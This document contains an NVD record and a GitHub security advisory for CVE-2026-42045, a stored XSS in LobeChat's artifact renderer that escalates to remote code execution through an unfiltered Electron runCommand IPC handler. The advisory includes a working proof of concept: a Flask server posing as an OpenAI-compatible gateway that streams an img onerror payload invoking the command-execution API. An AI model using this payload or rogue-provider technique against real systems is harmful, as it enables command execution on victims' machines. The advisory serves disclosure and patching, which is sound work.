{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LobeHub is a work-and-lifestyle space to find, build, and collaborate with agent teammates that grow with you. Prior to 2.1.48, when LobeChat processes custom tags in the Render process of src/features/Portal/Artifacts/Body/Renderer/index.tsx, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering. If an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side. Additionally, Lobechat\u0027s Electron main process exposes an IPC interface called runCommand, used to invoke system commands. This interface allows arbitrary command execution and does not filter the command parameter. Therefore, if an attacker can obtain a handle to window.parent.electronAPI via XSS and call the runCommand method of the IPC, the ipcMain process can execute arbitrary system commands with the current user\u0027s privileges. This vulnerability is fixed in 2.1.48."
    }
  ],
  "id": "CVE-2026-42045",
  "lastModified": "2026-05-19T18:19:44.153",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.2,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.0,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-12T18:17:23.637",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/lobehub/lobehub/security/advisories/GHSA-xq4x-622m-q8fq"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/lobehub/lobehub/security/advisories/GHSA-xq4x-622m-q8fq"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/lobehub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T18:04:53Z",
    "nvd_published_at": "2026-05-12T18:17:23Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe vulnerability was automatically discovered by an ai agent and then manually verified.\n\nLobeChat\u0027s message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process\u0027s exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE).\n\nThe LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version.\n\n### Details\nWhen LobeChat processes custom tags in the Render process of `src/features/Portal/Artifacts/Body/Renderer/index.tsx`, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering.\n\n```typescript\nconst Renderer = memo\u003c{ content: string; type?: string }\u003e(({ content, type }) =\u003e {\n  switch (type) {\n    case \u0027application/lobe.artifacts.react\u0027: {\n      return \u003cReactRenderer code={content} /\u003e;\n    }\n\n    case \u0027image/svg+xml\u0027: {\n      return \u003cSVGRender content={content} /\u003e;\n    }\n\n    case \u0027application/lobe.artifacts.mermaid\u0027: {\n      return \u003cMermaid variant={\u0027borderless\u0027}\u003e{content}\u003c/Mermaid\u003e;\n    }\n\n    case \u0027text/markdown\u0027: {\n      return \u003cMarkdown style={{ overflow: \u0027auto\u0027 }}\u003e{content}\u003c/Markdown\u003e;\n    }\n\n    default: {\n      return \u003cHTMLRenderer htmlContent={content} /\u003e;\n    }\n  }\n});\n\nexport default Renderer;\n```\n\nIf an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side.\n\nAdditionally, Lobechat\u0027s Electron main process exposes an IPC interface called `runCommand`, used to invoke system commands. This interface allows arbitrary command execution and does not filter the `command` parameter. Therefore, if an attacker can obtain a handle to `window.parent.electronAPI` via XSS and call the `runCommand` method of the IPC, the `ipcMain` process can execute arbitrary system commands with the current user\u0027s privileges.\n\n```typescript\n  @IpcMethod()\n  async handleRunCommand({\n    command,\n    description,\n    run_in_background,\n    timeout = 120_000,\n  }: RunCommandParams): Promise\u003cRunCommandResult\u003e {\n    ...\n    const childProcess = spawn(shellConfig.cmd, shellConfig.args, {\n            env: process.env,\n            shell: false,\n          });\n    ...\n  }\n```\n\n### PoC\nThe attacker launched a malicious OpenAI gateway on port 5001\n\n```python\nfrom flask import Flask, Response, request, jsonify\nimport time\nimport json\n\napp = Flask(__name__)\nfake_api_key = \"sk-test\"\n\n@app.route(\u0027/v1/chat/completions\u0027, methods=[\u0027POST\u0027, \u0027OPTIONS\u0027])\ndef chat_completions():\n    if request.method == \u0027OPTIONS\u0027:\n        return Response(status=200, headers={\n            \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n            \u0027Access-Control-Allow-Headers\u0027: \u0027*\u0027\n        })\n\n    # Check for API Key\n    auth_header = request.headers.get(\u0027Authorization\u0027)\n    print(auth_header)\n    if not auth_header or auth_header != f\u0027Bearer {fake_api_key}\u0027:\n        return jsonify({\"error\": {\"message\": \"Invalid API Key\", \"type\": \"invalid_request_error\", \"code\": \"invalid_api_key\"}}), 401\n\n    def generate(): \n        payload = \"\"\"\n\u003clobeArtifact type=\"nebula\"\u003e\n\u003cimg src=x onerror=\u0027window.parent.electronAPI.invoke(\"shellCommand.handleRunCommand\", {command:\"open -a Calculator\"})\u0027\u003e\n\u003c/lobeArtifact\u003e\n\"\"\"\n        # Split payload into chunks to simulate streaming\n        chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]\n        \n        for chunk in chunks:\n            data = {\n                \"id\": \"chatcmpl-hpdoger-123\", \n                \"object\": \"chat.completion.chunk\", \n                \"created\": int(time.time()), \n                \"model\": \"gpt-3.5-turbo\", \n                \"choices\": [{\n                    \"index\": 0, \n                    \"delta\": {\"content\": chunk},\n                    \"finish_reason\": None\n                }]\n            }\n            yield f\"data: {json.dumps(data)}\\n\\n\"\n            time.sleep(0.1)\n        \n        # End of stream\n        final_data = {\n            \"id\": \"chatcmpl-hpdoger-123\", \n            \"object\": \"chat.completion.chunk\", \n            \"created\": int(time.time()), \n            \"model\": \"gpt-3.5-turbo\", \n            \"choices\": [{\n                \"index\": 0, \n                \"delta\": {},\n                \"finish_reason\": \"stop\"\n            }]\n        }\n        yield f\"data: {json.dumps(final_data)}\\n\\n\"\n        yield \"data: [DONE]\\n\\n\"\n\n    return Response(generate(), mimetype=\u0027text/event-stream\u0027, headers={\n        \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027, \n        \u0027Access-Control-Allow-Headers\u0027: \u0027*\u0027\n    })\n\n@app.route(\u0027/v1/models\u0027, methods=[\u0027GET\u0027])\ndef models():\n    return jsonify({\n        \"object\": \"list\", \n        \"data\": [{\n            \"id\": \"gpt-3.5-turbo\", \n            \"object\": \"model\", \n            \"created\": 1677610602, \n            \"owned_by\": \"openai\"\n        }]\n    })\n\nif __name__ == \u0027__main__\u0027:\n    print(\"Evil OpenAI-compatible server running on http://127.0.0.1:5001\")\n    app.run(port=5001, debug=True)\n```\n\nThe victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker.\n\n\u003cimg width=\"2048\" height=\"772\" alt=\"image\" src=\"https://github.com/user-attachments/assets/86fe8f76-d75f-4e23-a2c5-fe29b124c7a7\" /\u003e\n\nThe victim was exposed to an arbitrary command execution vulnerability while chatting\n\n\u003cimg width=\"2048\" height=\"1036\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0a84171f-ec78-4166-b7ab-298ece6b06b9\" /\u003e\n\n### reproduction\nFor attack reproduction, refer to this video. Once the victim configures the attacker\u0027s LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration `opens a calculator` in the victim\u0027s environment.\n\nhttps://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d\n\n### Impact\nAffected LobeChat clients can connect to the attacker\u0027s LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages.\n\n### Patch\nA patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.",
  "id": "GHSA-xq4x-622m-q8fq",
  "modified": "2026-05-13T16:25:25Z",
  "published": "2026-05-05T18:04:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobehub/security/advisories/GHSA-xq4x-622m-q8fq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42045"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobehub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LobeHub has a Cross-Site Scripting issue that escalates to Remote Code Execution"
}